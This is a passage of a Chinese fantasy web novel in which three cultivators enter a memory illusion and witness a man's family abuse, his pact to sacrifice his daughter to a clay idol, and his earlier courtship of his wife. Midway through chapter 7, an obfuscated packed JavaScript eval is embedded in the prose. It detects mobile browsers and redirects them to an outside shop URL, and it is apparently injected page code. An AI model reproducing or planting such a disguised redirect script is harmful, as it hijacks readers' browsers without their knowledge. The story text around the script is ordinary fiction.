“单是那清风朗月般的品貌,不知是多少女修春闺梦里的良人呐!” 娑昙好奇地问:“也是你的梦中情人吗?” 梅听雪脸霎时红了个彻底,支支吾吾道:“才、才不是!是敬重、是仰慕!白师兄剑道超凡,是我等修行之人的楷模!” 原来这白秋明是一个天资聪颖的剑道奇才。 娑昙在心中定下结论,却见梅听雪蹭了过来,神情带着几分试探与扭捏。 她悄声道:“真遥,你同白师兄,想必是极相熟的吧?他连泥神村这等隐秘之地的舆图都交付于你了……” 作为玄青宗公主,李窈贞应该和白秋明挺熟的吧。 娑昙垂眸看她:“怎么了?” 梅听雪手指搅了搅:“就是——” “主人,前面来人了!” 徐少虞出声打断了二人的低语。 她们循着他所指的方向望去,只见峰顶走来个小姑娘,清瘦的小脸上灰尘扑扑,身后背着一只极大的背篓,压得她身形佝偻,正蹒跚着向下走,每一步都踩得艰难。 梅听雪下意识一把攥紧娑昙的手:“喂,有危险吗?该不会是什么幻境杀手,来找我们索命的吧!” 话音未落,那女孩已自他们身侧走过。她目不斜视,仿佛全然未见几人,只自顾自低着头,一步步朝前走去。 娑昙按住梅听雪乱动的手,道:“入魂幻境虽是以实体进入,但境中人看不见也感知不到你的存在,不必惊慌。” 梅听雪这才松了口气,抬手拍了拍胸口。 怀中的灼热感愈发明显,娑昙的指尖摩挲着那支莲花木簪,抬眼望向不远处女孩的背影,眸色渐渐沉了下来。 莲花簪原是张承平旧物,能与它生出感应,定是与张承平关系匪浅之人。 娑昙神色平静,对二人道:“跟上她,我们去三百年前的丰洼村。” 5. 莲娣 日暮西斜,娑昙三人跟着少女来到丰洼村。 此地与三百年后的泥神村截然不同,房屋低矮破败,田地干涸龟裂,沿途村民皆垂首默然,个个面黄肌瘦。 梅听雪压低声音道:“这些人的眼神……看得人心里发毛。” 娑昙:“不必在意,他们看不见我们,跟紧便是。” 梅听雪听话点头,悄悄朝娑昙身后缩了缩。 徐少虞望了望她,也凑近了些,挤到她俩中间,伸手牵住了娑昙的裙角。 娑昙感到轻微的拉扯,低头看去。 徐少虞小声道:“我怕……” 娑昙恍然大悟,到底还是个小孩。于是她将梅听雪与徐少虞拉近,对梅听雪道:“我分不出神照看他,你多看着些。” 梅听雪挺起胸膛,一口应下:“你放心,交给我吧。” 徐少虞张了张口,但娑昙已转过身去,只好抿着唇,任由正义感爆棚的梅听雪牵着走。 没走几步,迎面走来一位阿婆,瞧见女孩后,眯眼笑道:“莲娣啊,回来啦。” 名唤莲娣的女孩浅浅一笑,伸手扶住她粗糙的手:“徐阿婆,您慢些。” 她搀着徐阿婆一步步走下石阶,回头望了一眼,轻声问道:“今日怎么没见徐大哥陪您?万一摔着了可怎么好。” “他啊,去村长那开会喽,”徐阿婆拍拍莲娣的手背,笑容慈祥,“前几天不是来了个外乡人吗,带来了好些粮食,说是泥神赐福,只要虔诚供奉娘娘,就能解大旱之灾,眼下正张罗着找人塑像呢!” 梅听雪扭头问娑昙:“外乡人?” 娑昙道:“三百年前,只有一个外乡人。” 那个捧着泥胎、将不详带入丰洼村的外乡人。 他们竟回到了灾厄最初滋生的这一天。 梅听雪显然也想到此处,语气兴奋:“那岂不是得来全不费工夫!” 这边说完,那边的莲娣也跟着笑,望着远处轻声喃喃:“若真如此,求泥神娘娘保佑,让阿娘的病快些好起来,少遭些罪……” 徐阿婆伸手搂着莲娣,温声道:“神灵听到我们小莲儿这么诚心,一定会成全的。” 莲娣依偎着蹭了蹭她的肩,声音软软的:“时候不早了,爹娘还在家等我呢。阿婆您慢慢走,当心脚下,我先回去啦。” “好孩子,真是苦了你了,”徐阿婆拉起莲娣的手,压低声音嘱咐道,“粮食每家都分到些,晌午就给你家送过去了,你爹……唉,可别全让他拿了去,自己悄悄藏起一些,晓得吗?” “若是你爹又犯起混来,就来找你徐大哥,别总是一个人闷声硬扛。” 莲娣眉眼一弯,笑着应道:“知道啦,阿婆你放心!” 说罢,她扛着背篓转身,朝村子深处小步跑去。 娑昙一行人立即跟上。莲娣在村巷间七拐八绕,周遭的房屋渐渐稀疏,最终在一处破旧的小屋前停了下来。 娑昙抬眼打量,这小屋虽然简陋,却处处整洁,似是常有人来打扫。 莲娣放下背篓,挽起衣袖,里里外外将小屋仔细收拾了一遍。 做完这些,她才抬手拭去额角的汗珠,望着这间屋子,轻声道:“小蛮,阿姐又来看你了,这些年你在那边过得可好?有没有好好吃饭,有没有受人欺负?” 娑昙微微蹙眉。 “小蛮”是何人?直觉告诉她这个名字很重要,却又想不起与泥神村有何关联。 “仙门那样大,吃食定是不缺的,幸好当年你被带走了,若是留在村里,还不知要受多少苦……” 莲娣絮絮说着,娑昙心头微动。 三百年前的丰洼村竟出过修仙弟子?可若是如此,为何没有半点记载? 娑昙转头望向梅听雪,后者摇了摇头,道:“我从未听过此名。仙门九州十二域,除非是像白师兄和我师姐那般惊才绝艳之人,寻常弟子大多都寂寂无名,泯然于众罢了。” 院内一时静默,只听得见风吹过的声音。 莲娣指尖轻抚过水泥墙上的刻痕:“自你走后,这屋子就一直空着,可我总想着,这儿终究是你的家,便时常来打扫,盼着你哪天回来,能看到一切如旧。” 她眼中泛起泪光:“小蛮啊,阿姐既想你回来,又愿你在外头修出名堂,别再回这苦旱之地了……” 离莲娣最近的徐少虞盯着她,明知莲娣听不见,仍低声道:“他若知晓你的心意,心中定然十分宽慰……” 记忆便是如此,纵然甘甜美好,思之却如钝刀凌迟,愈念愈痛。 而他们,只是这幕旧忆之外,无言的旁观者。 天空早已褪尽残红,沉沉的墨蓝色压下,黑暗随之降临。 莲娣抬手抹去眼角的泪水,重新背起竹篓,朝那破屋深深看了一眼,转身离去。 少女的身影很快被夜色吞噬。梅听雪收回目光,双手叉腰:“接下来怎么办?如果这是张承平的幻境,我们得找到他人吧,可这丰洼村几十户人家,咱们上哪找去?” 娑昙:“跟着她。” 梅听雪蹙眉:“你是说莲娣?她和张承平有关系?” 怀中的莲花簪烫得娑昙肌肤生疼,她捏紧了木簪,道:“关系?只怕比你想的还要深。” 梅听雪被她搞得一头雾水,刚想找徐少虞说道两句,谁知这人竟像娑昙的小尾巴,早已一声不吭地紧随其后。 梅听雪无法,只得认命跟上。 * 莲娣疾步向家奔去,喘气声在寂静的夜里格外分明。 但愿今日爹爹回来得晚一些,她还能来得及准—— “娘的,死丫头又跑哪去了!” 一声怒吼从屋里传来。家中早已掏不出一文钱,入夜连半截蜡烛都点不起,只能借着微弱的月光目视。 父亲佝偻的身影跌撞进院里,一脚踹开里屋那扇吱呀作响的破门 糟了! 莲娣忙不迭追过去,声音都发了颤:“爹!爹!” 男人猛地转过身,唾沫星子溅了她一脸:“你个还知道回来?我养你有什么用,白白糟蹋我的米长大,如今要眼睁睁看着你亲爹饿死在家里吗?!你的良心被狗叼走了?!” 莲娣哆嗦着将背篓递过去:“方圆十里的树皮都被扒完了……我只好跑到山背头去,就……就回来得晚了些……” 男人一把夺过背篓,迫切地翻搅了几下,待瞧清楚里面稀稀拉拉的东西,他额头青筋暴起,将背篓狠狠摔在地上。 “就这么点?!” 莲娣瑟缩道:“我听闻村里派发了粮食,该……该是够的……” 男人眼神一虚,随即怒道:“胡扯!哪来的 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莲娣慌忙地去查看女人身上的伤势,女人却用力按住她的手,静默地看了她良久,浑浊地泪水无声地滚落,只是轻轻摇了摇头。 二人沉溺于悲伤,浑然未觉身旁有三人目睹了一切。 “你干嘛!” 梅听雪被娑昙死死压在墙角,她猛地甩开娑昙的手,回头怒视同样拽着她胳膊的徐少虞:“你主人见死不救也就算了,怎么连你也要拦着我!” 徐少虞像受惊的兔子一样直摇头,但手下力道不松。 他细声道:“主人这么做肯定是有道理的,梅小姐你忍一忍。” “这怎么忍?张承平都快把人打死了!” 娑昙一把按住激动的梅听雪,强迫她直视自己:“这里是回忆构成的幻境,是三百年前早已风干的旧事。就算你现在冲过去两巴掌扇死张承平,也无法阻止他在三百年后的泥神村作威作福。” 梅听雪张了张嘴,却无力反驳。她侧过头不甘道:“难道就眼睁睁看着这人渣肆意作践她们?” “正因如此,更要探寻真相,他与那泥神做了何等交易,偷得这三百年寿命,成为今日的张敏才,”娑昙轻声道,“这样子,我们才能替莲娣她们报仇。” 梅听雪深吸一口气,垂眸道:“你说得对,是我太意气用事了。” 娑昙:“无妨,但之后切莫如此冲动行事,若因一时意气暴露形迹,惊动了幻境之主,后果不堪设想。” 梅听雪刚要开口,徐少虞忽地拉了拉娑昙的衣角,小声道:“我方才看见有人往张承平那边去了。” 梅听雪听后立马重燃斗志:“该不会是那什么泥神?我们快去瞧瞧,抓他们个正着!” 话音未落,她已快步冲了出去。 娑昙刚抬脚,似是想起什么,转头望着那对相拥的母女。 若莲花簪的主人是殷盈,那么张承平族谱上,那个被彻底抹去姓名的孩子,就是莲娣了吗。 宗室谱牒,承续香火,纵是厌恶,至多薄待,何至于除名? 还有那首关于泥神的童谣,张承平既与泥神有所牵连,莫非“小囡囡”指的就是莲娣? 久思不解,娑昙旋即转身,疾步追向张承平消失的巷口。 6. 交易 夜色如墨,满月被翻滚的乌云吞没,偶尔倾泻几缕惨淡的月光,勉强照亮扭曲的枝丫,投下张牙舞爪的枯影。 娑昙屏住呼吸,指尖悄然握紧袖中的银簪。 她往前走了几步,果然看到一个畏畏缩缩的身影趴在房门前。 “天杀的,就扔给我两个馒头!分明是瞧我家是个没用的丫头,还拖着个病鬼!就这么点玩意儿,塞牙缝都不够!” 娑昙左手攥紧梅听雪的手腕,右手一把扯过徐少虞的衣角,不由分说地将两人拉到拐角。 越接近张承平,就越接近幻境的[境眼],稍有不慎,极易惊动幻境之主,引起幻境崩塌。 “那外乡人神神叨叨的,既掏得出这么多粮食,背地里肯定还藏了不少……” 张承平低声念叨着,左右谨慎看了眼,轻轻推门溜了进去。 梅听雪凑近了娑昙的左耳,愤愤不平道:“他竟真将粮食全都私藏,当真无耻!” 娑昙叮嘱道:“待会听我指示行动,切莫冲动。” 梅听雪立刻信誓旦旦地保证:“真遥你放心,我肯定听你的!” 颈侧温热的吐息逼近,娑昙无奈抬手将梅听雪推远。她顺势向右偏头,却正撞进一双清澈的双眸,距离太近了,甚至能看清他瞳仁中映出自己的倒影。 徐少虞微微仰着头,清澈的目光不偏不倚,恰巧接住她仓促落下的视线。 “哎哟!” 房中陡然传出一声惊呼,娑昙一把推开近乎贴到她怀里的二人,转身俯向窗边,朝内望去。 只见屋内昏暗的烛光下,张承平面露贪婪,手捧着一只酱香浓郁的大猪蹄,令人食指大动。 这对正在经历饥荒的人来说,是致命的诱惑。张承平疯狂地塞入口中撕扯啃食,油汗顺着他的腮边淌下,喉咙里发出含糊急促的吞咽声。 梅听雪见状疑道:“奇了怪了,这怎么会有食物?” 张承平吃得全神贯注,烛火倏地抖动一下,一道黑影接近了他。 “好吃吗?” 幽幽的声音辨不清男女,娑昙三人和张承平同时抬头,只见一个黑袍人不知何时站在中央,身形全然掩在宽大的袍服中,不见分毫。 娑昙心下一凛,她竟未察觉到此人的存在,在幻境之中,本不该有能全然避开入魂者感知之物。 张承平神情震惊:“你……这……” 手中黏糊的触感猛地将他拉回神,他这才慌忙把猪蹄往后藏,含糊道:“这……这……这是我自己的……” 辩解苍白无力,正当张承平思考怎么砸晕他偷偷溜走的时候,黑袍人开口了。 “这个是我送给你的见面礼,看来你很喜欢。” 张承平:“……你说什么?” 黑袍人:“我有个更大的礼物,你要不要?” 张承平愣了愣,上下打量他一眼,道:“什么礼物?” 黑袍人缓步走到烛台前,打开贴满黄色符咒的箱子,从中取出了一个婴儿大小的泥像。 娑昙呼吸微滞,这个泥像与她曾在张家书房窥到的那尊泥神像一般无二。 唯一的异处,便是眼前这尊面目混沌,五官俱无,在烛火下透着死寂的呆钝。 张承平:“这不是你带来塑像的泥胎?” “正是。” 张承平从鼻子里哼出一声冷笑,沾有荤腥油光的手指戳了戳那泥胎:“这破玩意儿既填不饱肚子,又换不来真金白银,老子要它有个屁用!” “你不是想娶一个小妾,要一个儿子吗?想要无数金银财宝,一雪前耻;想让全村都高看你一眼,捧着你吗?” 张承平瞪大了眼:“你——” “它能给予你的,可不只如此,”黑袍人将泥胎放于神台之上,“无论是拜相封侯、权倾朝野,或是子孙世代簪缨,永享荣华,它都可以做到。” “只要……” 他顿了顿,声音带着些许愉悦。 “只要你肯将亲生骨肉的血与骨,奉予这尊泥胎。” 这一刻,之前的所有疑点如珠线串连,一个冰冷的答案呼之欲出。 张承平像是没听清似的,脸上横肉僵滞,连声音都变了调:“你……你说什么?” 黑袍人打了个响指,周围瞬间堆满了数不清的金银珠宝、珍馐美食,映得原本四壁空空的屋子如临天明。 张承平呼吸粗重,眼神变得黏腻而贪婪,猛地扑上前去,十指颤抖地抓起珠宝,涎水不自觉从嘴角流下。 “哈哈哈哈!老子这辈子没见过这么多金子,宝贝……都是我的宝贝……” 他指尖将将触及那碟珍馐,只听“啪”地一声,眼前的山珍海味、玉盘金盏如梦幻泡影,霎时间消失不见。 张承平脸色唰一下惨白,愤怒地大叫:“我的宝贝呢!我的宝贝……” 黑袍人枯瘦的手一把按住癫狂的张承平,安抚似的拍拍他的肩。 “这不过沧海一粟,待你塑泥成像,承天授之命,解了大旱之灾,何愁百姓不把你奉为神明?到那时,谁还敢笑你半句,你就是丰洼村的救世主。” 他的声音低沉嘶哑,每个字都像裹着蜜糖,诱人沉沦。 张承平嘴巴嗫嚅了几下,眼神闪烁:“可……” “你可知今生苦难从何而来?皆因你前世罪孽深重,娘娘疼惜于你,愿替你洗清罪业。” 黑袍人抓起张承平的手,指尖抚过他的掌纹:“娘娘降下神谕,这并非死亡,而是新生。她一人救苍生,此乃大善,你若行之,自是功德无量。” “更何况,你生她养她,予她生命,她得以来到这世间,全凭神灵垂怜。如今她自当割肉还父,剔骨奉神,以报天恩。” “不信?泥神娘娘慈悲众生,凡是祂的信徒,皆可为其指点迷津。” 黑袍人轻轻将张承平向前一推,俯在他耳畔低语:“去吧,娘娘正在等你。” 张承平盯着那尊未刻面容泥胎。烛光摇曳中,他的目光逐渐涣散,脸上泛起一种近乎癫狂的痴迷。 他口中呢喃道:“对……您说得对,这是我的罪业,合该由我承受……” “是的……是的,您既喜欢那孩子……便让她在您座下侍奉,此乃我等之幸……” 泥胎仿佛真的和张承平在交流,张承平缓缓屈膝跪地,朝祂重重磕了三个头。 “娘娘放心,您是我们张家……永远的大恩人。” 黑袍人扶起张承平:“你至诚之心,娘娘已知,接下来你——” 忽地一阵阴风卷过,悬挂的银铃 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加之张承平本就魂魄不稳,记忆缝隙愈发扩大,导致错乱层生,幻境崩塌。 魂物自焚,张承平究竟想起了与这魂物有关的什么记忆,让他如此动摇。 娑昙一把抓住燃烧的信纸,忍痛迅速分出一缕火苗递给梅听雪:“无论进入什么幻境,护好这灵火,稳住心神,跟着张承平的意念走即可。” 梅听雪立即伸手接过,火苗触掌的瞬间,虽有灵气护体,却仍烧得她“嘶”了声。 地面晃动得越发厉害,娑昙转身攥住徐少虞的手,火焰灼人,他下意识往回抽,却被娑昙牢牢握紧。 “痛也得忍着。” 她还不知李窈贞和徐少虞之间的关联,徐少虞绝不能这么不明不白死在这。 娑昙深吸一口气,看着徐少虞含泪的双眸,沉声道:“你一介凡人,受不住这灵火之威,但它能护你周全,除了皮肉之苦,并不会危及性命。” “你不必像梅听雪那样去经历幻境,只需留在原地等我,明白吗!” 徐少虞脸色煞白,灼烧的剧痛让他浑身发颤,强撑着从喉咙里挤出一个字:“……好。” 话音落下的瞬间,地面轰然塌陷,他们随着崩裂的碎石,直向深渊坠去。 世界陷入浓浊的黑暗,熟悉的童声由远及近,轻轻飘来: “香火绕,塑金身, 囡囡修得泥胎透。 娘娘笑,泥胎裂, 囡囡骨,化新泥。” 娑昙恍若置身水中,跟着浪花漂浮,去往不知名的幻境。 然而心中的疑惑却愈来愈多。 这首诡异的童谣接连响起,字字句句与莲娣的遭遇相契,仿佛有只无形的手,将这诸多悲剧一一唱与她知。 究竟是谁引诱李窈贞踏入泥神村,又不惜代价将她复活?为何故意操纵她与泥神相抗?而最终,究竟要她听令去做何事? 那人既能施术招魂,必然知晓她的名讳,亦深知她与天道之仇,若无此番插手,她本应堕入轮回,转世历劫重修。 祂是想要九州天翻地覆,还是想借她之手……灭了这天道? 7. 夫妻 五感率先恢复的是听觉,黄莺婉转啼叫,孩童嬉笑吵闹,那些声响像是隔着一层水传来,模糊又遥远。 “今年收成这么好,听说是青阳镇的老爷包下了咱们所有的瓜果,这下可要赚大了” “可不是嘛!我就指望这回多攒些老婆本,好风风光光去阿秋家提亲呢!” “哈哈,就数你最着急!咱们大哥都还没成家,你倒抢在前头了。你说是不是啊,大哥?” “咦,怎么发起呆了?大哥?” 眼前逐渐透进光亮,灿烂的阳光落下来,娑昙眯了眯眼,视线由黑暗转为了清晰。 几个面容憨厚的年轻人正围在她身旁,神色关切地看着她。 娑昙眉头轻蹙,下意识想要后退几步,却发现自己根本无法控制这具身体。 那灰袍男子凑近了些,奇怪道:“大哥,你怎么不说话啊?” 未等娑昙细想,这具身体自己动了,抬手挠了挠头,出声答道:“没有……刚刚分神了……” 熟悉的声音。虽比从前听上去稚嫩几分,但娑昙还是认出来了。 她竟入魂在了张承平体内,正借他的双眼,看着这段往事。 一旁的青袍男子朗声笑道:“柳枳你还不知道吧?咱们大哥啊,这是心里有人了!” 柳枳一听,顿时睁大了眼睛:“真的?是哪家的姑娘?我们可认得?” 张承平赶忙拉住青袍男子:“邹康宁,你少说两句!这事儿还没个影儿,别平白毁了人家姑娘的清誉。” “我怎么是乱说?”邹康宁眉飞色舞,笑道,“我昨日明明瞧见你俩站在一处说话,人家姑娘对你啊,未必无意!” 周遭的几人顿时哄笑起来,张承平摸了摸后脑,脸颊涨得通红:“别瞎闹……盈盈会不高兴的……” “盈盈?” 柳枳倒抽一口气,追问道:“莫非是西南角王婆子家的那个殷盈?” 娑昙心中渐明。 她坠入的这段记忆,恐怕正是张承平与殷盈情愫初定之时。 “大哥好福气啊!殷盈可是这十里八乡都数得上的美人,竟真让你说成了!” 几人笑作一团,日光正好,清风拂过池塘,漾起粼粼波纹,莲叶轻摇。 石桥上静立着一道身影,张承平刚巧与她目光相接,那人巧目顾盼,眸光流转间,直叫张承平呼吸一滞,恍然失了神。 邹康宁眼尖,立刻瞧出了张承平的异样,他顺着目光望去,心下顿时了然。 他撞了撞身旁几人,打趣道:“说曹操曹操就到啊,你们快看,大哥眼都看直了!” 张承平被几人推搡着上了石桥。殷盈脸颊微红,微垂下头,轻声唤了句:“平哥……” 柳枳他们顿时嬉笑着散开了,一边跑远一边回头喊道:“大哥,等你啥时候娶大嫂过门啊!” 张承平脸上顿时红得彻底。 殷盈忍不住轻笑,语气娇嗔:“真是的……我都还没同意呢。” “……盈盈,我是认真的,”张承平连忙从怀中拿出一张信纸,递给殷盈,“我心匪石,不可转也。” 殷盈微微一怔,似是没料到他这般直白。 她抿了抿唇,颊边绯色更深,终是伸手接过了那张信笺。 信纸递出的刹那,上面的字迹清晰地映入眼帘: 盈盈如晤,平今见池莲初绽,恨不能折,终日思之,辗转反侧。 原来是写的情书。 “我……我把家里的果子都卖了,杜老爷说这两日便结钱。等钱一到……我、我立刻便上门提亲!” 殷盈嫣然一笑:“好。” 彼时年少,情之所起,一往而深。 娑昙实在是很难把现在这个老实温柔的张承平,与之后暴戾愚昧的男人联系在一起。 究竟发生了什么,让他变成那般模样? 风声骤停,四周蓦地静止,视线定格于殷盈含笑的脸。 娑昙心下疑惑,却忽闻一道声音自脑海中响起: [我原以为,那将是我一生幸福的起点,怎料想……竟是一切不幸的开端。] 眼前景象霎时转变,如同旧卷翻页,张承平的记忆纷至沓来。 娑昙透过他眼观物,感他所感,知他所想。 [我父母早亡,家中又无兄弟帮衬,恐委屈了盈盈,便请了康宁的母亲做媒,相合八字,择了吉日登门提亲。] 两家人相谈甚欢,殷盈躲在帘后,悄悄探头望他,莞尔一笑。 [盈盈是这世间极好的女子,既娶她进门,我定要让她事事顺心,无忧无虑。] 锣鼓喧天,户缀双喜,亲朋好友齐来相贺,他牵着殷盈的手下轿,跨过红绸漫天,跨过欢声笑语,跨过旧日韶光,一步步走入烟火人间。 他们喜结连理,此后福祸相依,生死相随。 婚后的日子平淡如水,两人日出而作,日落而息,虽粗茶淡饭,却也踏实美满。 村里人人都羡慕张承平娶了殷盈——那可是方圆十里最俊的姑娘,多少人家想求娶。村长的儿子当初愿出八头牛作聘礼,可殷盈谁也没应,只认定了他,为这个,让张承平在丰洼村很是长脸。 殷盈原也是大户人家的女儿,可惜家道中落。她父亲在外运货时,连人带马跌下山崖,未能寻回尸首;母亲听闻噩耗后一病不起,没多久也去了,只留下年幼殷盈,回到老家跟着舅舅舅母过活。 虽如此,殷盈的祖母早年读过书,通晓文墨,对她的教导也十分用心。父母留给她的嫁妆也颇为丰厚,其中有一只翡翠玉镯,殷盈曾笑着拿给他看,说这是母亲出嫁时,祖母传给她的。 “这是传家宝。”她告诉他,祖上尚未发迹时,曾救了位落难的贵人,那人金枝玉叶,为报恩情留下这枚镯子,说日后若遇困难,可凭此物寻他,定会相助。 她还说,等将来攒够了钱,搬去镇上,她认得字、会写字,还想开一间女子学堂,教人识字。 张承平望着殷盈说话时神采奕奕的模样,手指捏紧了她的裙摆,心想: [她这般动人,合该待在家里的好,日后为我生儿育女,操持家事,便是人间极乐了。] 家中清贫,殷盈有一手绣活精妙绝伦,就想着去镇上摆个摊子,换些银钱补贴家用。 张承平起初并不赞成,他尝试着说服,但终究拗不过殷盈连日温言软语的恳求,最后还是点头应下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16717077|189372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他晨起送殷盈进城,黄昏后接她归家。殷盈一路上蹦蹦跳跳,向他骄傲地展示钱袋子,细数今日卖出了哪些绣品,碰到了哪些人,又经历了哪些趣事。 那钱袋子也是她绣的,上头绣着莲花。她素来爱莲,他们于莲池初遇,一见钟情。 [突然有几日,盈盈常倚窗发呆,我问起,她只摇头说无事] [她生得漂亮,样貌招人,若是……] [我心中难安,于是我悄悄跟在她身后,一路走向青阳镇。] 殷盈如常来到街市,寻了处位置摆开绣摊,轻声吆喝。 她人貌美,绣活又精细,过路人即便不买,也多半要驻足看一看。 可吸引的不只是路人。 没过多久,张承平便瞧见几个衣着鲜亮的纨绔子弟摇摇晃晃地走来,径直朝殷盈的绣摊围去。 “让让,让让!” 那几人一把推开围观的路人,殷盈下意识地向后退半步,手忙脚乱地收拾摊子想要离开。 才转身,就被其中一人伸手拦住。 那人扯着嘴角笑:“小娘子怎的见了我们就跑?还没好好说上几句话呢。” 殷盈:“我夫君还在家里等我。” “夫君?” 纨绔弟子们闻言大笑,其中一人道:“你夫君不就在这吗!” 殷盈气急道:“你……你无耻!” “我无耻?你这小娘子怎么说话的!” 说着就要去拉殷盈的手,周遭人见状议论纷纷,但无人敢上前阻拦。 张承平认得他们,正是镇上商会的几位公子,家中颇有权势,平日里仗着商会撑腰,在青阳镇一带横行乡里。 他脚步一滞,犹豫再三,终究没敢上前。 若是得罪了他们,往后他这粮食如何卖得出去? “你们……你们放开我,来人啊!当街强抢民女了!来人啊!” 锦衣公子哪知这瞧着弱不禁风的美人力气这般大,急忙朝身后喊道:“愣着干什么,还不快来制住她!” 几名仆从赶忙过来帮自己主子拽住挣扎的殷盈,殷盈怒道:“你这个畜生,要是让我夫君知道,他肯定不会放过你!” 锦衣公子:“呸!好大的胆子,也配跟我抢人?若你那夫君真疼惜你,怎舍得让你独自出门抛头露面!” 他作势一巴掌扇过来,张承平心下一慌张,快步上前—— 却听“哎哟”一声惨叫,不知从哪儿飞来一枚石子,正中锦衣公子膝盖,他顿时哀嚎倒地,抱腿翻滚。 一旁仆人慌忙涌上前去搀扶,你推我挤间竟有人脚下一滑,直直摔倒在公子身上,惹得四周围观之人哄笑不止。 锦衣公子被人搀扶着踉跄站起,脸色铁青,目光狠厉地扫过人群:“哪个不长眼的东西,敢暗算小爷!” 众人交头接耳,却无人应答,张承平也跟着缩了回去。 锦衣公子强忍怒气,冷笑道:“呵,敢招惹小爷,等小——” 刹那间,又一颗石子破空疾射,他发出一声惨叫,猛地捂住眼睛,指缝间渗出鲜血,浑身颤抖不止。 “青阳镇杨家的大公子,竟是这般教养?” 8. 争吵 一道婉转清脆的女声自人群中响起,咬字清晰温柔,却偏带了几分清冷疏离。 忽见一处人流向两侧分开,一名身着白裙的高挑女子款款而来。 娑昙感觉到张承平的身体一僵,仿佛整个人都定在了原地。 来人面带轻纱,墨发仅以一支梨白玉簪松松挽住。她眸色淡若琉璃,眸光流转间柔婉天成,似初春绽放的玉兰,风姿清绝,恍若九天谪仙,与凡尘喧闹格格不入。 锦衣公子登时愣神,好半天才找回自己的声音:“你……你……” 白裙女子径自绕过他,走向跌倒在地的殷盈,素手轻扶,低头问道:“你可有恙?” 殷盈望着她微微一怔,随即答道:“没事,多谢您。” 白裙女子颔首:“那就好。眼下我还有要事,可要请人送你回去?” 殷盈赶忙摇头:“不必麻烦,多谢您,我夫君会来接我的。” 见二人全然不将他放在眼里,锦衣公子怒道:“你是何人,竟敢伤我?信不信我——” “孽障!” 一声怒喝从身后传来,数名侍卫迅速分开人群,清出道路,肃立两旁。 一名大腹便便的中年人走了过来,抬手便扇了锦衣公子一记耳光,道:“杨淮!我平日是这样教你的?任你在外欺压百姓,辱没门风?!” 杨淮不懂他爹为何要骂他,明明平日里这点小事都不会过问。 “明明是她先——” “闭嘴!”中年男人厉声喝斥,转身满脸堆笑,对白裙女子谄媚道,“仙师海涵,犬子无知冒犯,还望您大人大量,莫要同他一般见识。” 张承平见状心下微疑,能让安顺商会的杨万晋跟在屁股后面点头哈腰,这女子究竟是何来头? 娑昙也跟着多看了那白裙女子几眼,一种莫名的熟悉感萦绕心头,可她搜刮了自己几万年的记忆,确实不认识此人。 白裙女子眼皮轻抬:“冒犯的并非是我,而是这位姑娘,你应向她道歉。” 杨淮还欲争辩,却被杨万晋在腰间狠狠一扭,顿时疼得龇牙咧嘴。 他只得挪到殷盈面前,梗着脖子,万般不情愿地挤出一句:“方才多有冒犯,恕罪。” 殷盈本就不愿多事,胡乱点了点头应下。 杨万晋打圆场道:“仙师放心,回去后我定当好好管教这个逆子。改日必当备上薄礼,登门向姑娘致歉。” 殷盈闻言睁大了眼睛,刚要推辞,便听那白裙女子淡然道:“登门就不必了,若真想彰显诚意,不如就将这位姑娘今日的绣品悉数买下,也算弥补她方才被扰了生意的损失。” 杨万晋连声应好,能用银子打点的事,在他看来都不算麻烦。 眼下情势特殊,最要紧的是不让仙门的人生出疑心。 他不动声色地瞥了白裙女子一眼,若是旁人倒还好说,偏偏上面派下来的是这位…… “仙师,望江楼已备下接风宴,恭候多时了,”杨万晋侧身让路,躬身做请,“请您上座。” 白裙女子朝殷盈微微颔首,随即转身离去。 殷盈还没来得及向她再次道谢,白裙女子已被众星捧月地围住,挡住了她的去路。 她只好望着那渐远的背影,心怀感激地深深一揖。 接下来便是清点绣品,杨府管家拨了两下算珠,和声向殷盈问道:“不知这些绣品,作价几何?” 殷盈万不敢乱报价,正迟疑间,忽觉袖口一紧,被人拉住。 她回过头,张承平不知何时来了。未及欣喜,却听他抢先赔笑道:“一两,一件一两白银。” 殷盈忙去拉张承平,平日一件绣品至多卖三十文,这十几件加起来也不过几百文钱,他竟张口就要十几两,这都抵得上庄户人家整年的收成了! 管家打量了一下拉扯的二人,问道:“这位是?” 张承平反手扣住殷盈的手腕,像是要说服自己般,对着管家重复道:“我是她的夫君,价钱是一两银子……一件一两。” 管家瞧着张承平那副心虚的模样,心想到底是没见过世面的乡野中人,在此变着法子抬价。 他心中虽不屑,面上却仍是一派和煦,只取出钱袋点了银子递过去:“既如此,这一共十七件绣品,依一件一两的价来算,便是十七两白银。” “白银”二字他咬得格外清楚,殷盈脸上顿时火辣辣的,像是被人扇了一记耳光。 张承平却浑然不觉,喜不自胜地接过银子,连道:“好嘞,多谢杨老爷!多谢杨老爷……” 待管家走远,看热闹的人群也渐渐散去。 张承平捧着钱袋,仍是一脸喜色,拉着殷盈道:“你看盈盈,这么多钱,够我们一年的吃穿用度了!” 殷盈低声道:“这些绣品哪值得上十七两白银?你这不是存心讹人么?做生意岂能不讲信用!” 张承平不以为然:“杨家家大业大,这十几两银子于他们而言,就如几粒石子,更何况是那杨淮欺负你在先,我们讨些好处又算什么。” 殷盈倏地褪尽血色,指尖微微发颤:“……你都瞧见了?你几时来的?” 似是觉得自己态度太过奇怪,她深吸一口气,撇过头道:“可即便……即便如此,你也不能这样,这是敲诈!是勒索!” 张承平脸上闪过一丝慌乱,却立刻挺直腰板,拔高声音吼道:“我不来,怎能撞见这等场面?!那杨淮都要强纳你为妾了——满大街的女子,他为何偏偏找上你?你怎不问问你自己!” 殷盈闻言瞪圆了眼:“张承平……你这话什么意思?难道这还成了我的错?” 张承平避开她灼灼的眼神,心一横,厉声道:“对!你若安分守己,行事检点,怎会惹得杨家少爷纠缠?” 他越说越激动,额角青筋暴起:“你是不是早就嫌我贫贱,攀不上他安顺商会大少爷的身份?等他继承家业,你便是风光的姨娘,哪还看得上我这破落户——” “啪!” 一记清脆的耳光落下,娑昙感受着左边脸火辣辣的疼痛,张承平心中的不甘和愤怒,还有…… 